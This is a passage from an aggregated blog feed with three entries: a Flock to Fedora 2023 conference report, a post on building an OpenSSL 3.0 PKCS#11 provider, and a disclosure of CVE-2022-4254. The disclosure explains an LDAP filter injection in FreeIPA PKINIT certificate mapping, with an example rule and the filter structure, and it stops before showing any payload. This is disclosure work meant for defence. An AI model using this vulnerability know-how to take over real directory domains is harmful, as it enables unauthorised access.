&lt;p&gt;My travel to Cork was unremarkable. I took a direct flight from Helsinki to Dublin and then an Aircoach bus to Cork. The ‘unremarkable’ part was really about the unexpected delays people did report over the Matrix channel. The only ‘trouble’ I had was to catch a taxi at 11pm after arrival to Cork to get to my B&amp;amp;B. The Aircoach bus from Dublin airport is very popular in summer and whatever taxi fleet is in Cork was DDoSed by the passengers.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://vda.li/en/img/resized/2023-flock/hotel-stay-800-480d673e0.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Cork is hilly. I stayed in excellent B&amp;amp;B across the road from the conference hotel. The hotel and its conference facilities are in separate buildings; the events building is up hill from the hotel. Walking is helpful, climbing harder but given we are sitting most of the time, was a welcoming ‘struggle’. Perhaps, my stay outside of the conference hotel has also helped to avoid COVID-19 which few other participants, sadly, contracted. It is hit or miss every time.&lt;/p&gt;

&lt;p&gt;Unfortunately, not everyone made to Cork. &lt;a href=&quot;https://sfconservancy.org/news/2022/jun/14/remembering-marina/&quot;&gt;Marina Zhurakhinskaya&lt;/a&gt; passed away in June 2022. &lt;a href=&quot;https://funnelfiasco.com/blog/2023/05/12/inaction-bcotton/&quot;&gt;Ben Cotton&lt;/a&gt;, Fedora Program Manager, has been let go as a part of Red Hat’s layoffs earlier this year. Both had definitely changed Fedora project dramatically, in many ways, both leading to openness and friendliness Fedora is known for. Many presenters remembered both Marina and Ben during their sessions.&lt;/p&gt;

&lt;p&gt;2023’s edition of Flock to Fedora was also the first Fedora Project’s event collocated with CentOS Connect. As a result, it brought together Red Hat Enterprise Linux distribution upstreams and downstreams together.&lt;/p&gt;

&lt;h2 id=&quot;talks&quot;&gt;Talks&lt;/h2&gt;

&lt;p&gt;In total, there were up to four parallel tracks, dedicated to different areas of a distribution development and a project’s life and spanned over three days. That, unsurprisingly, made it challenging to visit all talks and activities. It is a common trait shared by many successful events. And for those who wanted to continue discussions after a talk has ended, there is always a ‘hallway track’.&lt;/p&gt;

&lt;h3 id=&quot;state-of-fedora-2023&quot;&gt;State of Fedora 2023&lt;/h3&gt;
&lt;p&gt;The first talk was ‘State of Fedora 2023’ by the project leader, Matthew Miller. Recording is available &lt;a href=&quot;https://www.youtube.com/live/LhLEV4fi2xw?feature=share&amp;t=21327&quot;&gt;here&lt;/a&gt;. I am linking to the re-take of the talk as the original streaming was off by 20 minutes and Matthew had to reprise it again.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://vda.li/en/img/resized/2023-flock/state-of-fedora-800-4a2f915c0.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A major announcement made during the talk was a hiring one. &lt;a href=&quot;https://communityblog.fedoraproject.org/job-posting-fedora-operations-architect/&quot;&gt;Fedora Operations Architect role&lt;/a&gt; has been introduced after a program manager role that Ben Cotton so masterfully executed was eliminated. Hopefully, this new role will be filled soon and will allow to capture the same benefits that Ben brought to Fedora. The role is a bit different, though, as it is focused on cross-project and cross-distro impact across Fedora and RHEL.&lt;/p&gt;

&lt;p&gt;Fedora contributors’ survey results were also unveiled by Matthew in the talk. In general, contributors keep trust in the project and continue their participation at the pre-pandemia levels. Recent social networking turmoil around Red Hat actions hasn’t influenced the results too much. The screenshots below are from the video stream as the talk’s slides aren’t yet available.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://vda.li/en/img/resized/2023-flock/state-of-fedora-stats-1-800-17d2108e9.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://vda.li/en/img/resized/2023-flock/state-of-fedora-stats-2-800-ba2fcdd53.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The talk went into details on what Matthew and Fedora Council aim for Fedora Project’s future. Growing a project with thousands of contributors spread around the world and representing different cultures is hard. A lot of effort is put into making Fedora a welcoming place to everyone who is willing to work together towards a common goal.&lt;/p&gt;

&lt;h3 id=&quot;rpminspect-lessons-from-three-distributions&quot;&gt;&lt;code&gt;rpminspect&lt;/code&gt;: Lessons from three distributions&lt;/h3&gt;

&lt;p&gt;David Cantrell created and maintains a tool that helps RHEL maintainers to keep their packages sane over years of maintenance. It is run as a part of CentOS Stream merge request process, as part of Fedora gating and pull request testing, and as a gating test for RHEL.&lt;/p&gt;

&lt;p&gt;The talk itself is an excellent retrospective on what one should consider when creating a new Open Source project while working on it full time. David provided observations on how to sell the idea to your management, how to get people interested in becoming a community for your project, how to sustain development in a long run. This is one of rare gems of a ‘lone wolf’ maintainership stories that everybody needs to absorb when they start their new journey. Believe me, it is worth it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://vda.li/en/img/resized/2023-flock/rpminspect-1-800-b79dc5331.jpg&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;using-aiml-to-process-automated-test-results-from-openqa&quot;&gt;Using AI/ML to process automated test results from OpenQA&lt;/h3&gt;

&lt;p&gt;Tim Flink from Fedora QE team decided to apply AI/ML to a problem of identifying hanging or failing jobs in OpenQA. OpenQA runs full-VM tests and records screencasts of everything what is shown on a VM screen. A crash of a graphical environment is abruptly visible there as graphics would be replaced by a terminal with a Wayland’s stacktrace. What followed is an experiment on processing these screens to reliably detect a particular type of a crash.&lt;/p&gt;

&lt;p&gt;We spent some time with Tim discussing how these experiments can be applied to finding out possible issues in other system reports. Since Fedora is upstream of CentOS Stream or RHEL, it means certain issues – and their fixes – would often appear in Fedora first. If we could train a model on those issues in Fedora, can we detect automatically whether a particular fix is required in RHEL later? This is quite relevant to FreeIPA and SSSD as we do run their tests in OpenQA as a part of Fedora Server release criteria.&lt;/p&gt;

&lt;p&gt;Another possible use case is to do a reverse training. Since we do know how a potential failure could look like, we can intentionally build an OpenQA test environment that would reproduce the failure and then train a model to recognize logs from such failures in real life scenarios. For example, establishing trust to Active Directory in FreeIPA is reliant on a working DNS setup, working firewall, etc. Failure to communicate through an incomplete firewall would be reflected with timeouts in the logs which we could train to recognize. There are endless possibilities here to aid through &lt;em&gt;known errors&lt;/em&gt;…&lt;/p&gt;

&lt;h3 id=&quot;hallway-track&quot;&gt;Hallway track&lt;/h3&gt;

&lt;p&gt;On a similar note, I had discussion with Amazon’s David Duncan in the ‘hallway track’ which started from an observation that Cloud SIG would really benefit from our passwordless work: distributing VMs with pre-set passwords is not ideal, an ability to inject FIDO2 passkey information and have everything obey it at login in cloud would be great to have. Somewhere along this way, discussion switched to CoreOS-based environments and I realised my experiments with Fedora Silverblue to develop passwordless support for FreeIPA would probably be a subject to a talk that would be interesting to others as well.&lt;/p&gt;

&lt;p&gt;I am running my own Silverblue images which source SSSD and FreeIPA upstream test builds to allow me easily to switch between different potential options in one go, without messing with an installation environment. It is quite important for the integration work we do and would be crucial for end-to-end testing of upcoming GNOME changes.&lt;/p&gt;

&lt;p&gt;This also provided me an insight into what container-based environments need from FreeIPA and overall from enterprise domains to fit nicely. I should have submitted a talk about that to Flock! Well, I will do one next year, for sure. (And, TODO: file issues to track for that integration to FreeIPA upstream!)&lt;/p&gt;

&lt;p&gt;Another interesting discussion we had with Jonathan Dieter. Jonathan is a long term Fedora contributor and FreeIPA user. For past several years Jonathan works with a local Irish company that provides services around the world to test local phone numbers. They maintain an infrastructure in more than 80 countries where there might be no global cloud providers at all. To keep that infrastructure reliable, they use &lt;a href=&quot;https://www.jdieter.net/posts/2021/11/30/piv-vs-sk/&quot;&gt;FreeIPA&lt;/a&gt; (not alone, of course) and &lt;a href=&quot;https://www.jdieter.net/posts/2020/10/31/switching-to-ostree/&quot;&gt;OStree-based images&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;asahi-linux-and-fedora&quot;&gt;Asahi Linux and Fedora&lt;/h3&gt;

&lt;p&gt;It is one of the talks that I missed to attend in person as conflicts are inevitable: Mo Duffy’s Podman Desktop talk and Adam Williamson’s Fedora CI state talk were running at the same time.&lt;/p&gt;

&lt;p&gt;Asahi Linux is a project which aims to upstream support for Apple’s ARM64 architecture, best known through Apple’s M1 and M2 systems. At the Flock Asahi Linux project members &lt;a href=&quot;https://asahilinux.org/2023/08/fedora-asahi-remix/&quot;&gt;have announced&lt;/a&gt; that not only Fedora Asahi Remix will be the flagship distribution for the project, but also &lt;a href=&quot;https://discussion.fedoraproject.org/c/neighbors/asahi/92&quot;&gt;Fedora Discourse instance&lt;/a&gt; will be used to handle Asahi Linux community collaborations.&lt;/p&gt;

&lt;p&gt;Asahi’s announcement also an example of how friendly has become Fedora Project as a community over years. I am definitely looking forward to see the remix to become one of official builds of Fedora.&lt;/p&gt;

&lt;h3 id=&quot;podman-desktop-from-fedora-to-kubernetes-for-beginners&quot;&gt;Podman desktop: from Fedora to Kubernetes for beginners&lt;/h3&gt;

&lt;p&gt;Mo Duffy gave an outstanding talk about using Podman desktop to deliver workloads for non-technical people. It was a highlight of the conference, for sure. She also made few interesting points. For one, running cloud-based workloads locally to allow offline operations is nice. Mo demonstrated a &lt;a href=&quot;https://blog.linuxgrrl.com/2022/01/19/running-penpot-locally-docker-free-with-podman/&quot;&gt;Penpot instance&lt;/a&gt;, which is a design and prototyping application. Running it locally helps to maintain the same workflow while on an intercontinental flight. However, even more interesting is that this approach also allows to use a cloud software that otherwise is considered insecure. For example, running a Wordpress setup locally to benefit from its nice UI in a local browser and export static web site content to push to the actual web hosting.&lt;/p&gt;

&lt;p&gt;By lowering a barrier to use containerised applications through Podman Desktop we may hope to get more people join our community and contribute. Starting with Podman Desktop’s friendliness would allow these newcomers to discover other Fedora flavors and features. It is certainly an interesting aspect we could expand further in a way similar how this ‘F’ in Fedora got expanded in Mo’s presentation.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://vda.li/en/img/resized/2023-flock/podmandesktop-1-800-ecc520d5f.jpg&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;panel-upstream-collaboration--cooperation-in-the-enterprise-linux-ecosystem&quot;&gt;Panel: Upstream collaboration &amp;amp; cooperation in the Enterprise Linux ecosystem&lt;/h3&gt;

&lt;p&gt;Another conference highlight was the panel that brought representatives of Fedora, RHEL, Rocky Linux, Alma Linux, and CentOS Stream together on stage. Distributions upstream and downstream of RHEL presented their views on various development and community topics. It is worth to &lt;a href=&quot;https://www.youtube.com/watch?v=r9iy9f80nic&amp;t=24804s&quot;&gt;watch the stream&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;state-of-epel&quot;&gt;State of EPEL&lt;/h3&gt;

&lt;p&gt;Trow Dawson and Carl George did present another state of EPEL. EPEL has a solid contributors’ base who keep thousands of packages available to RHEL and downstream distributions’ users. EPEL is using Fedora infrastructure and for many packages it shares maintainers with Fedora (EPEL branches are branches in Fedora dist-git for the same package, if this package is not in RHEL). So all EPEL contributors are Fedora contributors. ;)&lt;/p&gt;

&lt;p&gt;One interesting aspect in every “State of EPEL” talk is a long tail of the EPEL demographics. Much like “State of Fedora” shows demographics of Fedora releases, EPEL statistics includes details on who is running the lowest number of downstream systems:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://vda.li/en/img/resized/2023-flock/epelstate-1-800-5bf2b26ad.jpg&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;passwordless-fedora&quot;&gt;Passwordless Fedora&lt;/h3&gt;

&lt;p&gt;My talk was on the morning of the second day. People were still recovering from the night of International Candy Swap and table games so at start I had may be a couple of attendies. Eventually, we’ve got more people in the room and there were also online attendees so it wasn’t so feeling so lonely.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=GkYURkrIzx0&amp;t=3226s&quot;&gt;My talk&lt;/a&gt; was similar to previous ones at FOSDEM and SambaXP. What was new is a demo from Ray Strode on how potentially a user experience could look like in GNOME for a passwordless login. Ray implemented a prototype of external identity provider login flow that Allan Day &lt;a href=&quot;https://gitlab.gnome.org/Teams/Design/os-mockups/-/issues/220&quot;&gt;has shared recently&lt;/a&gt;. This flow could be used for login through Microsoft’s Entra ID (a.k.a. Azure AD) or any OAuth2 provider supported by FreeIPA. We aren’t fully there yet but the goal is to do this work once for GNOME and reuse for various passwordless authentication approaches supported through SSSD.&lt;/p&gt;

&lt;p&gt;I also showed an &lt;a href=&quot;https://youtu.be/zK2FmP0j6tY&quot;&gt;old demo&lt;/a&gt; from my FOSDEM and Flock 2016. It shows how we integrated 2FA tokens (Yubikeys in this example) with FreeIPA to authenticate and obtain Kerberos tickets through a KDC proxy over HTTPS. These tickets then were used to login onto a VPN. This is something that is possible in Fedora and RHEL for almost a decade now.&lt;/p&gt;

&lt;h3 id=&quot;openqa-hacking&quot;&gt;OpenQA hacking&lt;/h3&gt;

&lt;p&gt;Before Flock, Adam Williamson started to work on integrating Samba AD tests into OpenQA for Fedora. It almost worked well but there were few issues Adam wasn’t able to resolve so we set down at the Flock and figured out at least few of those. The only remaining one was an apparent race condition within a test that enrolls a system to Samba AD using kickstart. SSSD, it seems, starts before networking is up and stable, and decides that it is offline. When the test tries to resolve an Active Directory user, SSSD fails to do so as it thinks to be offline.&lt;/p&gt;

&lt;p&gt;Interestingly, the same test against FreeIPA works fine. The same test done past kickstart works fine as well, for both FreeIPA and Samba AD. There is probably a need to add a waiting period to settle a network state. We saw this in past too but never found a good way to trigger a proper event for SSSD to recover.&lt;/p&gt;

&lt;h3 id=&quot;social-events&quot;&gt;Social events&lt;/h3&gt;

&lt;p&gt;I am trying to reduce candy consumption so I skipped the social events on the first day but attended the conference dinner on the second day. All social events during the Flock well organized and this one wasn’t exception either. We had interesting discussions with Fedora and Rocky folks, getting to know there is a lot of similarity in how people do their lives across the world.&lt;/p&gt;

&lt;p&gt;On Friday’s night another social event was a Ghost Tour. However, we skipped it and together with few other people went to do a bit of memorabilia road through another Mexican place and (of course!) a local bar. Life in IT and development in 90’s and early 2000’s weren’t that much different in US and Europe, really. Thanks to Spot and Amazon for covering the dinner, thanks to other folks for beer and a company.&lt;/p&gt;

&lt;p&gt;I left on Saturday at noon using the same Aircoach bus towards Dublin airport. The bus was full – make sure you have booked your seat online in advance. My flight back to Finland was uneventful as well. Overall, it was a great conference, as usual. I’d like to say thank you to all volunteers and organizers who keep Flock so wonderful and Fedora project so welcoming. Thank you!&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">OpenSSL 3.0 Providers and PKCS#11</title>
		<link href="https://ssimo.org/blog/id_022.html"/>
		<id>tag:ssimo.org.blog:id_022</id>
		<updated>2023-02-04T21:38:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;After a long hiatus I am back with a new blog post.&lt;/p&gt;

&lt;p&gt;What triggered it is that I started a new &lt;a href=&quot;https://github.com/latchset/pkcs11-provider&quot;&gt;project&lt;a&gt;
because I wanted to explore two things I have been putting off for a while,
and I had some time on my hands on a long weekend.&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What's interesting about this project is that, on paper, it is
straightforward, we just wire up one API to another, and given both deal with
simple cryptography primitives it should be pretty simple... or is it?&lt;/p&gt;

&lt;p&gt;Well of course it isn't, first of all we are talking about cryptography,
which is notoriously finicky in terms of API for various legitimate, and less
so, reasons. But the actual calls that need to be made to implement the
cryptography are the least problematic, for the most part. What really makes
things hard are the lack of documentation about OpenSSL providers, and the
impedance mismatch between the way OpenSSL goes about handling some of the
operation and the way PKCS#11 envisions applications should handle the
cryptography engine.&lt;/p&gt;

&lt;p&gt;So the task of pairing two APIs is compounded by the need to decide what
compromise can be reasonable when the semantics differ.&lt;/p&gt;

&lt;h4&gt;A small rant on OpenSSL internals&lt;/h4&gt;

&lt;p&gt;Of course this is possible only after you go through digging into
OpenSSL's source code to try to figure out the semantics in the first place.
I have to admit that OpenSSL's internals are quite convoluted and baffling at
times, and more than once I felt like the architecture of the code was
unnecessarily complicated and obscure/obtuse. Of course I understand that
there is a hefty dose of legacy code that forced some of these contortions but
still...&lt;/p&gt;

&lt;p&gt;The code is really hard to follow for a few reasons:&lt;/p&gt;

&lt;p&gt;- A lot of code is generated at build time through a nest of macros.&lt;br /&gt;
This means that some of the tools I use to automatically navigate the code are
neutralized because they can't preprocess macros, forcing to resort to clever
grepping of partial names to try and find the place where these macros may be,
then mentally reconstruct each time what might be generated to figure out the
next function called to look at.&lt;br /&gt;
I could use stuff like gcc -E to get and index the preprocessed output before
compilation, but it is not as easy to do and requires battling the build
system.
&lt;/p&gt;

&lt;p&gt;- A ton of indirection and jump tables are used all over the code.&lt;br /&gt;
The OpenSSL code is excessively dynamic, at runtime there are dozens and dozens
of places where the code is &quot;pluggable&quot; and several different cryptography
primitives can be called from one API and then multiplexed internally based
on some identifier passed from the application. This makes the API easier to
use from applications, but makes it hard to follow what is being called next at
any given time.&lt;/p&gt;

&lt;p&gt;The lack of very obvious naming standards, the reuse of very
simple words like &quot;sign/encrypt&quot; as elements of these tables and several
layers of indirection introduced by providers and other layers that deal with
legacy APIs makes it impossible to read the code linearly, from point of entry
to the execution of the actual primitives. In order to understand with any
degree of confidence what is going on under the hood you need to keep in your
head a lot of knowledge of how the internal works. This is beyond the ability
of my brain, so I often resort to using GDB and some strategically placed break
points. Unfortunately just using gdb and stepping through is also not a viable
way to explore the code because the abstraction around internal name/provider
and therefore function routing/data caching resolution is absolutely
impenetrable.&lt;/p&gt;

&lt;h4&gt;A Small rant on PKCS#11&lt;/h4&gt;

&lt;p&gt;Ok enough about OpenSSL, let's look into the PKCS#11 API.&lt;/p&gt;

&lt;p&gt;At a first glance I have to say that the PKCS#11 API is pretty
straightforward, you just call an initial entry point after dlopen() of the
driver you want to use, get a function table and then each cryptography
primitive that the standard support is called through reasonable well though
and minimal abstractions.&lt;/p&gt;

&lt;p&gt;What are the issues surrounding PKCS#11 then? It's more of an ecosystem
issues in this case. The PKCS#11 API has gone through various revisions, so you
have to deal with tokens that may be stuck on an older version (and therefore
support less stuff, but if that was the only issue it would be easy to solve,
you just write 2/3 variants per PKCS#11 version and you are done ... not so
fast!&lt;/p&gt;

&lt;p&gt;One of the issues with PKCS#11 is that historically it was not prescriptive
enough, tokens can decide arbitrarily which kind of functions they support, so
you have to be prepare to deal at runtime with missing functionality. This may
force adding fallback code to handle functions that OpenSSL assumes are provided
by a single provider facility.&lt;/p&gt;

&lt;p&gt;Another issue is that although the spec is quite big and detail, it is, at
the same time, somewhat under specified when it comes to some of the details.
For example trying to figure out what exact formatting is needed for an attribute
like CKA_EC_PARAMS (for ECDSA signatures ) is not trivial due to use of a lot
of ASN.1 in DER format and OIDs.&lt;/p&gt;

&lt;p&gt;Then there are the many and obviously bogus drivers, those that stuck to the
letter of the spec to avoid coding difficult stuff. One notable example I will
not mention by name I looked at recently is as bare bone as you can possibly
imagine and be somewhat spec compliant. A bit depressing.&lt;/p&gt;

&lt;p&gt;The problem with low quality drivers is that you need to account for quirks,
and add more code to handle stuff that can be made to work but not quite the
correct way you should be doing it.&lt;/p&gt;

&lt;h4&gt;Conclusions&lt;/h4&gt;

&lt;p&gt;Although I like ranting, I have to say I am enjoying writing this code, just
like the old Samba times, you have to go and discover what actually works, what
other engineers came up and actually did behind APIs. Discovering the actual
semantics, and sometimes using them against the original Kung Fu style is
fun.&lt;/p&gt;

&lt;p&gt;The main goal of this project is to make Hardware Tokens really accessible
to applications. Unlike the old &quot;enignes&quot; APIs in OpenSSL, where applications
had to be explicitly coded to work differently in the presence of an external
cryptography module, the provider's API is basically hidden within OpenSSL's
core and &quot;transparent&quot; to applications.&lt;/p&gt;

&lt;p&gt;code written against the modern OpenSSL v3 facilities that uses URIs
to reference keys (a file name is considered a URI) through the store API could
use a PKCS#11 module without any code difference, by simply replacing the pem
file path with a pkcs11: URI.&lt;/p&gt;

&lt;p&gt;Of course most applications are written against a mix of old and clunky
OpenSSL APIs that have not been fully deprecated yet, but given the changes we
see at the horizon, with the advent of PQC algorithms, I think we have a chance
to see a lot of applications changing over to the new OpenSSL APIs which will
be the only ones to offer access to these new algorithms.&lt;/p&gt;

&lt;p&gt;Fun times ahead&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">CVE-2022-4254: FreeIPA PKINIT certificate mapping vulnerability</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2023-02-02-freeipa-pkinit-certmap-vuln.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2023-02-02-freeipa-pkinit-certmap-vuln.html</id>
		<updated>2023-02-02T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;cve-2022-4254-freeipa-pkinit-certificate-mapping-vulnerability&quot;&gt;CVE-2022-4254: FreeIPA PKINIT certificate mapping vulnerability&lt;/h1&gt;
&lt;h2 id=&quot;executive-summary&quot;&gt;Executive summary &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#executive-summary&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.freeipa.org/&quot;&gt;FreeIPA&lt;/a&gt; supports the Kerberos &lt;em&gt;PKINIT&lt;/em&gt; protocol extension (&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc4556&quot;&gt;RFC
4556&lt;/a&gt;). PKINIT enables a client to authenticate to the KDC using
an X.509 certificate and the corresonding private key, rather than a
passphrase or keytab. FreeIPA uses &lt;em&gt;mapping rules&lt;/em&gt; to map a
certificate presented during a PKINIT authentication request to the
corresponding principal. The mapping filter is vulnerable to LDAP
filter injection. The search result can be influenced by values in
the certificate, which may be attacker controlled. In the most
extreme case, an attacker could gain control of the &lt;code&gt;admin&lt;/code&gt; account,
leading to full domain takeover.&lt;/p&gt;
&lt;p&gt;FreeIPA is &lt;strong&gt;not vulnerable in its default configuration&lt;/strong&gt;. To
exploit this bug requires:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PKINIT is used in the environment, with certmap rules that are
susceptible to LDAP filter injection via data from the client’s
certificate; and&lt;/li&gt;
&lt;li&gt;A client certificate used for PKINIT includes data that result in
the construction of an LDAP filter with a different meaning than
the administrator intended. This is unlikely in general, but some
use cases present a heightened risk, especially if the CA includes
(or can be induced to include) client-supplied or
attacker-controlled attributes in end-entity certificates.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The issue was assigned &lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2022-4254&quot;&gt;CVE-2022-4254&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;affected-versions&quot;&gt;Affected versions &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#affected-versions&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The problem is in &lt;em&gt;libsss_certmap&lt;/em&gt;, which is part of &lt;a href=&quot;https://sssd.io/&quot;&gt;SSSD&lt;/a&gt;.
FreeIPA servers use this library in &lt;code&gt;ipa_kdb&lt;/code&gt; Kerberos plugin
implementation.&lt;/p&gt;
&lt;p&gt;The issue was introduced in &lt;a href=&quot;https://sssd.io/release-notes/sssd-1.15.3.html&quot;&gt;SSSD 1.15.3&lt;/a&gt; (when
&lt;em&gt;libsss_certmap&lt;/em&gt; was introduced) and resolved in
&lt;a href=&quot;https://sssd.io/release-notes/sssd-2.3.1.html&quot;&gt;SSSD 2.3.1&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;All supported versions of RHEL 7 were affected (the fix was released
on the RHEL 7.9 bugfix stream). RHEL 8.0 up to 8.3 (inclusive) were
also affected (the fix was released to the still-supported streams).&lt;/p&gt;
&lt;p&gt;RHEL 8.4 onwards and RHEL 9 are not affected. No supported versions
of Fedora are affected.&lt;/p&gt;
&lt;h3 id=&quot;timeline&quot;&gt;Timeline &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#timeline&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2017-07-25&lt;/strong&gt;: &lt;em&gt;libsss_certmap&lt;/em&gt; was released with &lt;a href=&quot;https://sssd.io/release-notes/sssd-1.15.3.html&quot;&gt;SSSD 1.15.3&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2020-04-28&lt;/strong&gt;: SSSD issue &lt;a href=&quot;https://pagure.io/SSSD/sssd/issue/4180&quot;&gt;pagure#4180&lt;/a&gt; / &lt;a href=&quot;https://github.com/SSSD/sssd/issues/5135&quot;&gt;github#5135&lt;/a&gt; was
created, reporting a lack of sanitisation of filter substitutions in
maprules.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2020-07-24&lt;/strong&gt;: The sanitisation issue was fixed upstream and &lt;a href=&quot;https://sssd.io/release-notes/sssd-2.3.1.html&quot;&gt;SSSD
2.3.1&lt;/a&gt; is released, containing the fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2022-11-16&lt;/strong&gt;: While reviewing a feature involving the use of
PKINIT, I noticed that some versions of the &lt;em&gt;libsss_certmap&lt;/em&gt; code
did not seem to sanitise certificate data used in LDAP filters. I
started to investigate.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2022-11-17&lt;/strong&gt;: I succeed in exploiting the behaviour, and began
internal discussions with Red Hat’s Platform Security
engineering team.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2022-12-01&lt;/strong&gt;: I sent my analysis to Red Hat’s Product Security
team. &lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2022-4254&quot;&gt;CVE-2022-4254&lt;/a&gt; was reserved for this issue on the same
day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2023-01-24&lt;/strong&gt;: Planned release of fix to RHEL 7.9 &lt;code&gt;sssd&lt;/code&gt; package,
in Batch Update 20. Details of the vulnerability were made public.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;problem-description&quot;&gt;Problem description &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#problem-description&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;FreeIPA supports &lt;em&gt;certificate mapping rules&lt;/em&gt; for mapping
certificates presented during PKINIT authentication to a Kerberos
principal. Certmap rules are stored in the LDAP database under
&lt;code&gt;cn=certmaprules,cn=certmap,{basedn}&lt;/code&gt;. The &lt;code&gt;ipa_kdb&lt;/code&gt; plugin uses
&lt;em&gt;libsss_certmap&lt;/em&gt; to process certmap rules. An example rule object:&lt;/p&gt;
&lt;pre class=&quot;ldif&quot;&gt;&lt;code&gt;dn: cn=certmap1,cn=certmaprules,cn=certmap,dc=ipa,dc=test
cn: certmap1
ipacertmapmaprule: (|(mail={subject_rfc822_name})(entryDN={subject_dn}))
ipaenabledflag: TRUE
objectClass: ipacertmaprule
objectClass: top&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;ipacertmaprule&lt;/code&gt; attribute is a string representation of an LDAP
filter (&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc4515&quot;&gt;RFC 4515&lt;/a&gt;), with substitution templates in curly braces
(e.g. &lt;code&gt;{subject_dn}&lt;/code&gt;). Template substitution is performed by the
&lt;code&gt;sss_certmap_get_search_filter&lt;/code&gt; subroutine. The supported templates
are described in &lt;code&gt;sss_certmap(5)&lt;/code&gt;. They include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{cert!base64}&lt;/code&gt; (base64 encoding of whole certificate)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{issuer_dn}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{subject_dn}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{subject_rfc822_name}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{subject_dns_name}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The KDC uses the resulting filter within a bigger search filter that
it uses to match the principal. The filter includes the requested
principal name from the Kerberos &lt;em&gt;authentication service request
(&lt;code&gt;AS_REQ&lt;/code&gt;)&lt;/em&gt;, and the maprule filter. The complete filter has the
following structure (wrapped for readability):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(&amp;amp;
  (|
    (objectClass=krbprincipalaux)
    (objectClass=krbprincipal)
    (objectClass=ipakrbprincipal)
  )
  (|
    (ipaKrbPrincipalAlias=REQUESTED_PRINCIPAL@REQUESTED_REALM)
    (krbPrincipalName:caseIgnoreIA5Match:=REQUESTED_PRINCPAL@REQUESTED_REALM)
  )
  MAPRULE_FILTER_GOES_HERE
)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the requested principal is &lt;strong&gt;specified by the client&lt;/strong&gt; in
the Kerberos &lt;code&gt;AS_REQ&lt;/code&gt;. This value &lt;em&gt;is properly escaped&lt;/em&gt; where it is
inserted in the filter. But it is important to note that the client
can specify any principal the maprule filter fragment matches.&lt;/p&gt;
